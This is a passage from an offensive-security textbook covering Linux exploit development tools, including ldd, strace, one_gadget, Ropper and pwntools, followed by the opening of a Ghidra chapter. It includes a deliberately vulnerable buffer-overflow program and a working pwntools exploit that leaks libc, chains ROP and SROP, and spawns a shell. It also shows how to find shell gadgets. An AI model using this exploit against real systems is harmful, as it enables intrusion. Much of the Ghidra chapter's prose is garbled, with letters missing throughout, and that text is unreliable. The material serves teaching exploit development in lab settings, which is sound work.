python3 client.py, you should see “Say something:” show up on your netcat listener.
Anything you type into the listener should be returned to the client ➎. For extra credit,
figure out how to simulate that netcat listener in Python with the bind(), listen(), and
accept() statements.
Summary
This chapter provides you with introductory programming concepts and security consid-
erations. An ethical hacker must have programming skills to create exploits and review
source code, and they need to understand assembly code when reversing malware or find-
ing vulnerabilities. Last but not least, debugging is a must-have skill in order to analyze
the malware at runtime or to follow the execution of shellcode in memory. The only way
to learn a programming language or reverse engineering is through practice, so get working!
For Further Reading

Style Guide for Python www.python.org/dev/peps/pep-0008/
Example of C Program without Main stackoverflow.com/questions/42328165/
compile-and-run-program-without-main-in-c
Using GNU C Compiler (gcc) gcc.gnu.org/onlinedocs/gcc-3.2/gcc/Invoking-GCC
.html
54
Kali and Python 3 www.kali.org/docs/general-use/python3-transition/
Upgrading to python 3 on mac (correct way) opensource.com/article/19/5/python-
3-default-mac
“A CPU History,” PC Mech, March 23, 2001 (Nik) www.pcmech.com/article/a-
cpu-history
Art of Assembly Language Programming and HLA (Randall Hyde) www
.randallhyde.com
ddd debugger frontend www.gnu.org/software/ddd/
Debugging with NASM and gdb www.csee.umbc.edu/help/nasm/nasm.shtml
edb debugger github.com/eteran/edb-debugger
“Endianness,” Wikipedia en.wikipedia.org/wiki/Endianness
Good Python tutorial docs.python.org/3/tutorial/
“How C Programming Works,” How Stuff Works (Marshall Brain) computer
.howstuffworks.com/c.htm
“Byte and Bit Order Dissection,” Linux Journal, September 2, 2003 (Kevin
Kaichuan He) www.linuxjournal.com/article/6788
Notes on x86 assembly, 1997 (Phil Bowman) www.ccntech.com/code/x86asm.txt
64 bit tutorial, Sonictk sonictk.github.io/asm_tutorial/
“Programming Methodology in C” (Hugh Anderson) www.comp.nus.edu
.sg/~hugh/TeachingStuff/cs1101c.pdf
Python home page www.python.org
Python Tutor www.pythontutor.com
“Smashing the Stack for Fun and Profit” (Aleph One) www.phrack.org/issues
.html?issue=49&id=14#article
x86 registers www.eecg.toronto.edu/~amza/www.mindsec.com/files/x86regs.html
x64 architecture docs.microsoft.com/en-us/windows-hardware/drivers/debugger/
x64-architecture
References
1. Danny Cohen, “On Holy Wars and a Plea for Peace.” Internet Experiment Note
(IEN) 137, April 1, 1980, www.ietf.org/rfc/ien/ien137.txt.
2. Guido Van Rossum, “[Python-Dev] Replacement for Print in Python 3.0,”
September 4, 2006, mail.python.org, https://mail.python.org/pipermail/
python-dev/2005-September/056154.html.
Linux Exploit
Development Tools
CHAPTER
3
• Binary, dynamic information-gathering tools: ldd, objdump, strace, ltrace,
checksec, libc-database, patchelf, one_gadget, and Ropper
• Extending gdb with Python and the popular gdb scripts Gef and pwndbg
• The pwntools capture the flag (CTF) and exploit development library
• The HeapME (Heap Made Easy) heap analysis and collaboration tool
With the evolution of Linux security controls, and techniques to bypass these limita-
tions, the fields of vulnerability discovery, crash analysis, and exploit development are
becoming more challenging. This forces researchers to spend more time and effort on
finding and exploiting critical vulnerabilities.
In this chapter, we review various modern exploit development tools that can help
simplify the process of information gathering, crash analysis, debugging, and exploit
development.
Binary, Dynamic Information-Gathering Tools

Some of these tools might be familiar to you because they are useful in more than just the
exploit development field. We will begin with the more popular (and old-school) ones,
but when showing newer tools, in some cases we will also demonstrate how you can find
the same information “manually.”
Lab 3-1: Hello.c
Let’s begin by connecting to a standard Kali machine. Open your favorite text editor to
write the following simple program, which will be used as a lab for testing and under-
standing the different tools:
// hello.c
#include <stdio.h>
#include <stdlib.h>
55
56
#include <string.h>
int main() {
char *ghh = malloc(30);
strncpy(ghh, "Gray Hat Hacking", 16);
printf("%s - ", ghh);
free(ghh);
puts("6th Edition");
return 0;
}
This file is also provided to you in your ~/GHHv6/ch03 folder, having previously
cloned the Gray Hat Hacking 6th Edition Git repository. Now let’s compile and execute
the binary to confirm it works as expected:
└─$ gcc hello.c -o hello && ./hello
Gray Hat Hacking - 6th Edition
Lab 3-2: ldd
The ldd tool displays the shared libraries loaded by programs at runtime. These librar-
ies have the suffix .so (shared object) and consist of individual files that contain a list of
functions. Using shared libraries has many benefits, such as promoting code reusability,
writing smaller programs, and making large applications easier to maintain.
From a security perspective, it is important to understand which shared libraries a
program is using and how they are being loaded. If the developer is not careful enough,
shared libraries could be abused to gain code execution or full system compromise.
Attack opportunities range from finding weak file permissions and using rpath to replace
a shared library with an evil one, to being able to leak an address of a loaded library, and
even abusing its interesting gadgets to achieve execution flow control with ROP/JOP
code-reuse attack techniques.
Here is the output after running ldd /bin/ls:
└─$ ldd /bin/ls
linux-vdso.so.1 (0x00007ffcee78f000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f122caa2000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f122c8dd000)
libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007f122c845000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f122c83f000)
/lib64/ld-linux-x86-64.so.2 (0x00007f122cb0b000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f122c81d000)
Lab 3-3: objdump
We can use objdump as a command-line disassembler and also to get important

information about executable files and objects. Let’s get some information about the
hello binary.
Chapter 3: Linux Exploit Development Tools
57
Getting the Global Offset Table (GOT) and Procedure Linkage Table (PLT)
When analyzing a stripped binary, you can use objdump to reverse the memory address
PART I
of the function of interest.
NOTE Chapter 11 provides more information on Global Offset Tables (GOTs)

and Procedure Linkage Tables (PLTs).
With the -R option, you can display the list of functions in the GOT:
└─$ objdump -R ./hello
./hello: file format elf64-x86-64
...
0000000000004020 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000004028 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5
0000000000004030 R_X86_64_JUMP_SLOT malloc@GLIBC_2.2.5
Now let’s use objdump to locate the address that will be called in the PLT to get to
the puts() function:
└─$ objdump -M intel -d -j .plt ./hello | grep 4020
1040: ff 25 da 2f 00 00 jmp QWORD PTR [rip+0x2fda] # 4020 puts@
GLIBC_2.2.5
Here are some points to note:
• -M intel tells objdump to use Intel syntax mode instead of the default (AT&T).
• -d is short for --disassemble.
• -j .plt specifies the section we want to display (PLT).
Now we will use -j .text to find the call to puts in the program we are analyzing:
└─$ objdump -M intel -d -j .text ./hello| grep 1040
11c5: e8 76 fe ff ff call 1040 <puts@plt>
Finding References to Constant Strings

In certain situations you might need to find references to strings in stripped binaries to
help speed up the debugging process, or to find magical gadgets in an object (you will
learn how to find one_gadgets manually in Lab 3-9, later in this chapter).
We can find references to strings in two steps. The first step is
└─$ strings -tx hello|grep "6th"
200a 6th Edition
where -tx (-t is for radix, x is for hexadecimal) prints the offset within the file at the
beginning of each string.
58
The second step is
└─$ objdump -M intel -d ./hello|grep -C1 200a
11b9: e8 72 fe ff ff call 1030 <free@plt>
11be: 48 8d 3d 45 0e 00 00 lea rdi,[rip+0xe45] # 200a <_IO_stdin_used+0xa>
11c5: e8 76 fe ff ff call 1040 <puts@plt>
Lab 3-4: strace
The strace command-line utility is useful when we need to trace system calls and signals.
It uses the ptrace system call to inspect and manipulate the target program, and besides
allowing us to better understand the program’s behavior, it can also be used for tampering
with the behavior of system calls for better troubleshooting or for faster reproduction of
an attack under specific situations (for example, fault injection, return value injection,
signal injection, and delay injection). Let’s look at some examples.
First of all, make sure you have the strace package installed using the dpkg -l strace
command because it doesn’t ship with Kali by default. Use sudo apt install strace to install it.
When you run strace without arguments, it will display all system calls and signals,
like so:
└─$ strace ./hello
execve("./hello", ["./hello"], 0x7ffc5f37c750 /* 30 vars */) = 0
brk(NULL) = 0x56455a042000
...
write(1, "Gray Hat Hacking - 6th Edition\n", 31Gray Hat Hacking - 6th Edition
) = 31
exit_group(0) = ?
+++ exited with 0 +++
We can use -e trace=syscall if we want to trace/filter a particular system call, as

shown next:
└─$ strace -e trace=write ./hello
write(1, "Gray Hat Hacking - 6th Edition\n", 31Gray Hat Hacking - 6th Edition
) = 31
How would the program behave if the write function is not implemented?
└─$ strace -e trace=write -e fault=write ./hello
write(1, "Gray Hat Hacking - 6th Edition\n", 31) = -1 ENOSYS (Function not
implemented) (INJECTED)
59
We can also inject a specific error response. Let’s inject the error “EAGAIN (Resource
temporarily unavailable)” instead:
PART I
└─$ strace -e trace=write -e fault=write:error=EAGAIN ./hello
write(1, "Gray Hat Hacking - 6th Edition\n", 31) = -1 EAGAIN (Resource
temporarily unavailable) (INJECTED)
It is also possible to use strace to inject delays. This is very helpful in many cases,
but a good example is a situation where we need to make a race condition more deter-
ministic by helping decrease the randomness of the scheduler preemption. Let’s inject a
delay of 1 second before the read function executes (delay_enter) and a delay 1 second
after the write function executes (delay_exit). By default, the expected time precision
is microseconds:
└─$ strace -e inject=read:delay_enter=1000000 \
-e inject=write:delay_exit=1000000 ./hello
...
If you’re interested in learning more about strace, Dmitry Levin (the active strace
maintainer) walks you through a list of powerful features in his “Modern strace” talk.1
Lab 3-5: ltrace
The main purpose of the ltrace utility is to trace calls to shared libraries and their
responses, but it can also be used to trace system calls. Make sure you have the ltrace
package installed using the dpkg -l ltrace command, as it isn’t shipped with Kali by
default. Use sudo apt install ltrace in case you need to install it.
Here is the output after running ltrace ./hello:
└─$ ltrace ./hello
malloc(30) = 0x55fc9cf772a0
printf("%s - ", "Gray Hat Hacking")= 19
free(0x55fc9cf772a0) = <void>
puts("6th Edition"Gray Hat Hacking - 6th Edition) = 12
+++ exited (status 0) +++
NOTE You can use the -S option to display system calls.

60
Lab 3-6: checksec
The checksec shell script parses a program’s ELF header to determine which compile-time
mitigation technologies are being used, such as RELRO, NX, Stack Canaries, ASLR, and
PIE. This helps to identify constraints for exploitation. Similar checksec functions and
commands are also available on most exploitation development tools and frameworks
(such as the pwntools checksec function).
NOTE Chapter 11 provides more information on compile-time mitigation

technologies.
We could get checksec directly from its GitHub page,2 or install it using sudo apt
install checksec.
Running checksec on the hello program we compiled earlier will show the enabled
mitigations (depending on the defaults for the distribution’s gcc configuration), as
shown here:
└─$ checksec --file=./hello
[*] '/home/kali/GHHv6/ch03/hello'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Let’s compile our hello.c program again with all the security mitigations enabled and
then run checksec:
└─$ gcc hello.c -Wl,-z,relro,-z,now -O2 -D_FORTIFY_SOURCE=2 -s \
-fstack-protector-all -o hello-stronger
└─$ checksec --file=./hello-stronger
[*] '/home/kali/GHHv6/ch03/hello-stronger'
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
61
Lab 3-7: libc-database
PART I
Sometimes you manage to find and exploit an information leak vulnerability, but it is
impossible to calculate the offset to the libc base or other functions unless you know the
libc version being used on the remote host. The libc-database downloads a list of config-
ured libc versions, extracts the symbol offsets, and allows you to query the function name
and leaked address in order to identify the libc version being used.
1. Let’s clone the libc-database GitHub repository:3

└─$ git clone https://github.com/niklasb/libc-database.git
...
2. It is possible to download all pre-provisioned libc versions within the get script,
but you can also download distro-specific versions for Ubuntu, Debian, RPM,
CentOS, Arch, Alpine, Kali, and Parrot OS. Let’s download the libc versions used
by Kali Linux. Inside the /home/kali/libc-database folder, execute the following:
┌──(kali kali)-[~/libc-database]
└─$ ./get kali
...
3. Find all the libc versions in the database that have the given names at the given
addresses. Let’s use readelf to get the puts offset and then use the libc-database
find script:
└─$ readelf -s /lib/x86_64-linux-gnu/libc.so.6|grep puts
430: 00000000000765f0 472 FUNC WEAK DEFAULT 14 puts@@
GLIBC_2.2.5
...
└─$ ./find puts 765f0
kali-glibc (libc6_2.31-9_amd64)
kali-glibc (libc6-amd64_2.31-9_i386)
In cases where you don’t have your local database available, there is also a hosted web
wrapper4 at https://libc.blukat.me that allows you to query the libc-database without
having to install/configure it locally (see Figure 3-1).
Figure 3-1 The libc-database web wrapper at https://libc.blukat.me

62
Lab 3-8: patchelf
The patchelf command-line utility allows us to modify the libraries of an ELF execut-
able. It is very useful when we are doing heap analysis on a different libc version than the
one being used by the remote system, or when we don’t have access to the source code
and want to run multiple libc versions on the same system. You could get patchelf from
its GitHub repo5 or simply install it using sudo apt install patchelf.
In this lab we’ll patch the hello binary to use an interpreter and libc version copied to
the /home/kali/GHHv6/ch03/lib directory:
1. We first create the lib folder and copy the system’s ld-linux.so and libc:
└─$ cd /home/kali/GHHv6/ch03 &&
mkdir lib &&
cp /lib64/ld-linux-x86-64.so.2 lib/my-ld.so &&
cp /lib/x86_64-linux-gnu/libc-2.31.so lib &&
ln -s libc-2.31.so lib/libc.so.6
2. Now we can patch the hello binary and confirm that the changes were made
successfully and that our program runs:
└─$ patchelf --set-interpreter ./lib/my-ld.so --set-rpath ./lib hello
└─$ ldd hello
linux-vdso.so.1 (0x00007ffc685d0000)
libc.so.6 => ./lib/libc.so.6 (0x00007f4b18146000)
./lib/my-ld.so => /lib64/ld-linux-x86-64.so.2 (0x00007f4b18313000)
└─$ ./hello
Gray Hat Hacking - 6th Edition
Lab 3-9: one_gadget
One_gadgets are found in libc and provide a simple way of getting a shell by jumping to
a single gadget to execute execve("/bin/sh", NULL, NULL).
We can find these magical gadgets in one of two ways: by manually using strings and
objdump or by using the one_gadget tool.
Manually Using Strings and objdump

First, let’s use strings to get the offset address of /bin/sh in the target libc library:
└─$ strings -tx /lib/x86_64-linux-gnu/libc.so.6|grep /bin/sh
18a156 /bin/sh
63
Then we can use objdump to look for references to the /bin/sh string address:
PART I
└─$ objdump -M intel -d /lib/x86_64-linux-gnu/libc.so.6 |grep -C8 18a156
...
cbd1a: 4c 89 ea mov rdx,r13
cbd1d: 4c 89 e6 mov rsi,r12
cbd20: 48 8d 3d 2f e4 0b 00 lea rdi,[rip+0xbe42f] # 18a156 <...
cbd27: e8 94 f9 ff ff call cb6c0 <execve@@GLIBC_2.2.5>
...
The only constraint here is that, at the moment of execution, r12 and r13 must be
equal to NULL. This way, the rdi, rsi, and rdx registers will contain the values /bin/sh,
NULL, NULL, respectively.
Using the one_gadget Tool

Instead of going through the task of finding one_gadgets manually for multiple glibc
versions, you can use the one_gadget tool, written in Ruby by david942j, and available
on RubyGems (gem install one_gadget). This tool uses symbolic execution to find the
one_gadgets and their constraints.
This project is available on GitHub.6 In order to install it, use the command sudo
gem install one_gadget.
In order to find one_gadgets automagically, we execute the tool, specifying the target
library, like so:
└─$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xcbd1a execve("/bin/sh", r12, r13)
constraints:
[r12] == NULL || r12 == NULL
[r13] == NULL || r13 == NULL
0xcbd1d execve("/bin/sh", r12, rdx)
constraints:
[r12] == NULL || r12 == NULL
[rdx] == NULL || rdx == NULL
0xcbd20 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
Lab 3-10: Ropper
Ropper is a useful tool for generating ROP chains and finding code reuse gadgets. It
is capable of loading ELF, PE, and Mach-O binary file formats, and it supports mul-
tiple architectures (x86, x86_64, MIPS, MIPS64, ARM/Thumb, ARM64, PowerPC,
and Sparc) using the Capstone7 disassembly framework. To install Ropper, use sudo apt
install ropper.
64
One of its most interesting features is the ability to search for gadgets based on con-
straints and file format conditions. Let’s create a ROP chain that calls mprotect() to
enable executable permission on an arbitrary address:
└─$ ropper --file hello --chain 'mprotect address=0xdeadbabe size=0x1000'
The resulting piece of Python code will be produced:

rop = ""
# Filled registers: rdi, rsi,
rop += rebase_0(0x000000000000123b) # 0x000000000000123b: pop rdi; ret;
rop += p(0x00000000deadbabe)
rop += rebase_0(0x0000000000001239) # 0x0000000000001239: pop rsi; pop r15; ret;
rop += p(0x0000000000001000)
rop += p(0xdeadbeefdeadbeef)
We can also use semantic search to find a gadget that increases the stack pointer
16 bytes, avoiding clobbering the R15 and RDI registers: ropper --file <binary-file>
--semantic ‘rsp+=16 !r15 !rdi’. In order to use this feature, you must install pyvex and
z3 following the instructions on the project’s GitHub page.8
As you can see, this saves a lot of time and effort, and it brings many other interesting
features—from jump-oriented programming (JOP) to stack pivoting. For more informa-
tion about Ropper and its functionalities, visit the project’s GitHub page.
Extending gdb with Python

Support for extending gdb with Python was added in version 7. This feature is only avail-
able if gdb was compiled with the configuration option --with-python.
Thanks to this feature, besides being able to write custom functions and automate
many tasks, multiple gdb plug-in projects have been actively developed in order to sim-
plify and enrich the debugging process, with features like embedded hexdump view,
dereferencing data or registers, heap analysis, automatic detection of Use-After-Free
(UAF), among other powerful features. Here are some of the most popular gdb scripts:
1. Gef 9GDB enhanced features for exploit developers and reverse engineers
2. Pwndbg10 Exploit development and reverse engineering with GDB Made Easy
3. PEDA11 Python Exploit Development Assistance for GDB
Pwntools CTF Framework and Exploit

Development Library
Pwntools is a capture the flag (CTF) and exploit development library that’s excellent for
the rapid prototyping of exploits. It saves you significant time and effort when writing
common exploitation tasks, letting you focus on the logics of your exploit, as well as
provides a vast set of useful features.
65
Execute the following commands to install pwntools:
PART I
└─$ sudo apt-get update
└─$ sudo apt-get install python3 python3-pip python3-dev git libssl-dev \
libffi-dev build-essential
└─$ sudo python3 -m pip install --upgrade pip
└─$ sudo python3 -m pip install --upgrade pwntools
Summary of Features
Let’s open our Python terminal, import the pwn module and explore some of the power-
ful features of Pwntools:
└─$ python3
>>> from pwn import *
#Packing and Unpacking strings
>>> p8(0)
b'\x00'
>>> p32(0xdeadbeef)
b'\xef\xbe\xad\xde'
>>> p64(0xdeadbeefdeadbeef, endian='big')
b'\xde\xad\xbe\xef\xde\xad\xbe\xef'
>>> hex(u64('\xef\xbe\xad\xde\xef\xbe\xad\xde'))
'0xdeadbeefdeadbeef'
#Assemble and Disassemble code
>>> asm('nop')
b'\x90'
>>> print(disasm(b'\x8b\x45\xfc'))
0: 8b 45 fc mov eax, DWORD PTR [ebp-0x4]
#ELF symbol resolver
>>> ELF("/lib/x86_64-linux-gnu/libc.so.6")
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Other features include functions to assist with common exploitation primitives and
techniques, such as building ROP chains, shellcodes and SROP structures, dynamic
memory leak helpers, format string exploitation, cyclic pattern generation, and more.
In Lab 3-11, we develop a two-stage exploit that bypasses ASLR, PIE, and NX using
a ROP + SROP payload.
Lab 3-11: leak-bof.c
First, we compile some code that’s vulnerable to buffer overflow:

// leak-bof.c
#include <stdio.h>
#include <unistd.h>
66
void vuln() {
char buff[128];
printf("Overflows with 128 bytes: ");
fflush(stdout);
read(0, buff, 0x2000);
}
int main(int argc, char **argv) {
printf("I'm leaking printf: %p\n", (long)printf);
vuln();
}
Next, we run this exploit written in Python with pwntools:

#!/usr/bin/env python3
from pwn import *

context.update(arch='amd64', os='linux')
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
p = process("./leak-bof")
l = log.progress("Stage 1: leak printf and calculate libc's base address")

p.readuntil("I'm leaking printf: ")
libc.address = int(p.readline(), 16) - libc.sym['printf']
l.success(f"0x{libc.address:x}")
rop = ROP(libc)
l = log.progress("Stage 2: pop a shell with ROP + SROP payload")
rop.raw(rop.find_gadget(['pop rax', 'ret']).address)
rop.raw(constants.SYS_rt_sigreturn)
rop.raw(rop.syscall.address)
# build SROP frame

frame = SigreturnFrame(kernel="amd64", arch="amd64")
frame.rax = constants.SYS_execve
frame.rdi = next(libc.search(b"/bin/sh"))
frame.rsi = 0
frame.rdx = 0
frame.rip = rop.syscall.address
# send stack smash and payload

p.sendlineafter(": ", b"A"*136 + rop.chain() + bytes(frame))
l.success('Enjoy!')
p.interactive()
A smaller and simpler exploit could be used here, but we’ll purposely use a slightly
more complicated exploit in order to showcase the possibilities. This is the result:
└─$ python3 leak-bof-exploit.py
[*] '/usr/lib/x86_64-linux-gnu/libc-2.31.so'
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
67
[+] Starting local process './leak-bof': pid 3900
[+] Stage 1: leak printf and calculate libc's base address: 0x7f120d489000
[*] Loading gadgets for '/usr/lib/x86_64-linux-gnu/libc-2.31.so'
PART I
[+] Stage 2: pop a shell with ROP + SROP payload: Enjoy!
[*] Switching to interactive mode
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo)...
HeapME (Heap Made Easy)

Heap Analysis and Collaboration Tool
Heap Made Easy (HeapME)12 is an open source tool developed by Huáscar Tejeda (the
author of this chapter) to help simplify the process of heap analysis and collaboration.
Here’s a list of some of HeapME’s features:
• Timeless heap debugging

• Tracking of all chunks/free bins states
• Seamless analysis collaboration
• Shared link for read-only visualization
• Great for CTFs
• Support for ptmalloc2 in current version
Navigate to https://heapme.f2tc.com/5ebd655bdadff500194aab4f (POC of the
House of Einherjar2) to see the HeapME web-based visualization.
Installing HeapME
Before seeing HeapME in action, let’s begin by installing and configuring gdb and the
modified Gef fork13 with the HeapME plug-in. If gdb isn’t installed (dpkg -l gdb), install
it using sudo apt install gdb.
└─$ git clone https://github.com/htejeda/gef.git &&
pip install -r gef/requirements.txt &&
echo "source ~/gef/gef.py\nsource ~/gef/scripts/heapme.py" > ~/.gdbinit
└─$ gdb
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
...
gef➤ help heapme
Heap Made Easy
...
heapme init -- Connect to the HeapMe URL and begins tracking dynamic
heap allocation
heapme push -- Uploads all events to the HeapME URL
heapme watch -- Updates the heap layout when this breakpoint is hit
Type "help heapme" followed by heapme subcommand name for full documentation.
gef➤
68
Now follow the steps in Lab 3-12.
Lab 3-12: heapme_demo.c
To begin, create and compile the following program:

//heapme_demo.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void *x[8];
int main() {
for (int i=0; i < 8; i++) {
x[i] = malloc(0x38);
memset(x[i], (i + 0x30), 0x38);
}
for (int i=0; i < 8; i++)

free(x[i]);
fprintf(stderr, "Press CTRL+C to exit.\n");

pause();
return 0;
}
└─$ gcc heapme_demo.c -o heapme_demo
Next, execute the following steps (which include references to the code that follows)
to see HeapME in action:
1. Use gdb to debug the heapme_demo program ➊.

2. Execute the gdb command start ➋.
3. Launch Gef ’s heap-analysis-helper plug-in ➌.
4. Go to the HeapME website (https://heapme.f2tc.com/).
a. Register and log in.
b. Create and copy a new HeapME URL and key.
c. Once that’s copied, click the Next button.
5. Go back to gdb and paste in the line heapme init https://heapme.f2tc.com/
<id> <key> ➍.
6. We will use heapme watch malloc ➎ and heapme watch free ➏ to update all
heap chunk and free bins information whenever these breakpoints are hit.
69
7. Execute c or continue ➐. You should see the HeapME URL being updated in
real time (refer to Figure 3-2). This is also a good opportunity for you to play
PART I
with Gef ’s heap commands (heap bins, heap chunks, and so on).
└─$ ➊ gdb ./heapme_demo
gef➤ ➋ start
gef➤ ➌ heap-analysis-helper
gef➤ ➍ heapme init https://heapme.f2tc.com/ 60281a00e8b485001a485db5
17074900...
_ _ __ __ _____
| | | | ___ __ _ _ __ | \/ | ____|
| |_| |/ _ \/ _` | '_ \| |\/| | _|
| _ | __/ (_| | |_) | | | | |___
|_| |_|\___|\__,_| .__/|_| |_|_____|
|_|
[+] HeapME: connected to https://heapme.f2tc.com/
gef➤ ➎ heapme watch malloc
Breakpoint 1 at 0x7ffff7e7a0f0: malloc. (2 locations)
[+] HeapMe will update the heap chunks when the malloc breakpoint is hit
gef➤ ➏ heapme watch free
Breakpoint 2 at 0x7ffff7e7a720: free. (2 locations)
[+] HeapMe will update the heap chunks when the free breakpoint is hit
gef➤ ➐ continue
Continuing.
[+] Heap-Analysis - __libc_malloc(56)=0x5555555592a0
...
Press CTRL+C to exit.
Figure 3-2 HeapME displaying heapme_demo’s dynamic memory interactions

70
Summary
In this chapter, we presented a list of useful tools that will significantly improve your
dynamic analysis process. We also discussed ways to extend and automate the debug-
ging process with gdb. We looked at vulnerable proof-of-concept code with the exploit
written in Python using the pwntools development framework. Finally, we explored the
HeapME (Heap Made Easy) heap analysis and collaboration tool.
For Further Reading

ELF Specification refspecs.linuxbase.org/elf/elf.pdf
Extending GDB Using Python sourceware.org/gdb/current/onlinedocs/gdb/Python
.html
Pwntools docs.pwntools.com
References
1. Dmitry Levin, “Modern strace,” Open Source Summit Europe, 2018, https://
events19.linuxfoundation.org/wp-content/uploads/2017/12/Modern-Strace-
Dmitry-Levin-BaseALT.pdf
2. checksec, http://github.com/slimm609/checksec.sh.
3. libc-database GitHub, https://github.com/niklasb/libc-database.
4. libc-database web wrapper, https://libc.blukat.me.
5. patchelf, https://github.com/NixOS/patchelf.
6. one_gadget, https://github.com/david942j/one_gadget.
7. Capstone: The Ultimate Disassembler, www.capstone-engine.org.
8. Ropper, https://github.com/sashs/Ropper.
9. Gef, https://gef.readthedocs.io/en/master/.
10. Pwndbg, https://github.com/pwndbg/pwndbg.
11. PEDA, https://github.com/longld/peda.
12. Heap Made Easy (HeapME), https://heapme.f2tc.com/.
13. HeapME Gef fork, https://github.com/htejeda/gef.
Introduction to Ghidra
CHAPTER
4
• Ghidra installation and a quick start, along with a simple project setup
• An overview of Ghidra’s most essential functionality
• Annotations to achieve improved reversed code’s readability and understanding
• Practical walkthrough binary diffing and patch analysis
Gda  a Sowae Revee Eee (SRE) ue o oo deveoped ad maaed
by e Naoa Seuy Aey’ Reea Deoae  uppo o  ybeeuy
mo. Gda wa made puby avaabe ad ope oued aoud Ma o Ap
o 209 bu a bee bae-eed pvaey by e aey. I a be ued o mawae
aay, vueaby eea, expo deveopme, a we a may oe embedded
yem ad mwae evee eee ak.
Gda uppo a vaey o aeue, paom, ad bay oma, povd
a vey ee e o eaue. Ao,  ommuy  apdy ow, a Gda a
povded a exee ope oue ad ee-o-o aeave o oe ea oo u
a IDA Po.
Creating Our First Project

I  ape, we w be omp a ampe poam uabe o owae Gda’
eaue ad uoae. T ampe poam  a ude ade maaeme oo
a oad a CSV e ad oa a vueaby o ou ad-o aay ak.
Te ude., ude-paed., ad ude.v e ae povded o you
 you ~/GHHv6/04 ode, povded you ave pevouy oed e Gay Ha
Hak 6 Edo G epooy.
Ru e oow ommad  a ema wdow o ompe e wo veo o e
poam (a deau vueabe veo ad a paed veo):
┌──(kali kali)-[~GHHv6/ch04]
└─$ gcc students.c -o students
└─$ gcc students-patched.c -o students-patched
Now a we ave ou ae poam eady, we a eae a poje o wok w
em ad wak ou Gda’ eaue ad uoay.
71
72
Installation and QuickStart
Le’ a by a e Java  ume depedey o Gda  a deau Ka yem:
└─$ sudo apt-get update && sudo apt-get install -y openjdk-11-jdk
Nex, dowoad e Gda eeae v9.2.3 pakae om e oa Gda webe
(p://da-e.o) ad exa  o you ome deoy:
└─$ unzip ghidra_9.2.3_PUBLIC_20210325.zip -d ~
Oe you’e doe w e a, ee e da_9.2.3_PUBLIC deoy ad u
 u ./ghidraRun, ke o:
└─$ cd ~/ghidra_9.2.3_PUBLIC && ./ghidraRun
T oud au Gda o e  me ad pomp you w e ed-ue aeeme.
Setting the Project Workspace

Te   you eoue upo u Gda  e poje wdow ad a “Tp
o e Day” pop-up (w we eommed you ek oaoay). You a oe 
pop-up o vew e poje wdow.
I e poje wdow, you a maae you poje, wokpae, ad oo. By
deau, Gda  pped w e Code Bowe ad veo-ak oo. We w
wak you ou e aao o e Debue oo owad e ed o e ape.
Functionality Overview
Aou Gda oe a o o eaue ad uoay, we w oy ou o e mo
ba ad beea eaue o mpy’ ake.
Project Window
Te poje wdow  e ma wdow avaabe o you ae Gda oad;  povde
poje maaeme eaue, e ave poje’ ae e, oo e, ad a ovea
wokpae deo.
Le’ eae ou poje ad a wok w e pevouy omped ae e.
Lau Gda,  you ave’ aeady, ad e oow ee ep:
1. Ceae a ew poje by k Fe | New o by pe ctrl-n. We w e 
poje o pvae (a , a o-aed poje) a we a e e poje’ ame
ad e ode wee  w be oaed.
2. Iude e ude ad ude-paed bay e  e poje by k
Fe | Impo o by pe i o ea oe. T w dee e e oma ad
auae o e bay e (ELF omped w x86:LE:64:deau:,  
ae), a ow ex.
Chapter 4: Introduction to Ghidra
73
PART I
3. Ck e OK buo. A mpo eu ummay w be ow w e e’
meadaa ad eade popee.
4. Doube-k e ude ae e o au e Code Bowe ad a
e aay.
Analysis
A oo a Gda oad e poam,  ue aayz e poam   a’ aeady
bee doe beoe:
74
Te aayze peom may ak, bu e mo oabe oe ae ow ee ad
debed ex:
(1) User Disassembles Code
(new code)
(2) Function Analyzer

(new function)
(3) Stack Analyzer
(4) Operand Analyzer
(5) Data Reference Analyzer
• Function Analyzer A addee ad ame o uo baed o e

ymbo eeee o by dee uo pooue ad epoue  e ode
daemby.
• Stack Analyzer Ie ak vaabe ze ad eeee baed o ak bae
ad poe opeao a e be o e uo.
• Operand Analyzer A ad eove adde ad ymbo eeee baed
o aa opead.
• Data Reference Analyzer Reove addee ad eeee o daa vaue
ad obvou daa ype baed o e memoy eo oao ad opead
 e ode.
Te Aay | Oe-So ubmeu aow you o e may o a e dee
aay ak o a eeed ode bok.
Code Browser
Te Code Bowe povde a uve ue eae o Gda’ oe uoay
ad avao. Mo o you me pe wok w Gda w be   vew, a
 a meu ad ooba o e mo ommo ak. Te deau ayou  ow 
Fue 4- ad debed ex.
❶ Main menu A e ma opo ae avaabe om  meu.
❷ Toolbar Hee you w d a oup o o buo you a ue a ou
o ommo uoay.
❸ Program Trees T povde ee  o a e memoy eme deed
by e bay ad w vay deped o e bay oma ad oade.
75
File Edit Analysis Graph Navigation Search Select Tools Window Help 1
PART I
2
Program Listing Decompile
Symbol Tree 6 7
Data Type
Console - Scripting
5
8
Figure 4-1 The Code Browser’s default layout
❹ Symbol Tree Hee you a quky avae ou a e ymbo deed
by e debu omao o eoved by e a aay. Tee ymbo
ae epaaed by ype: mpo, expo, uo, abe, ae, ad amepae.
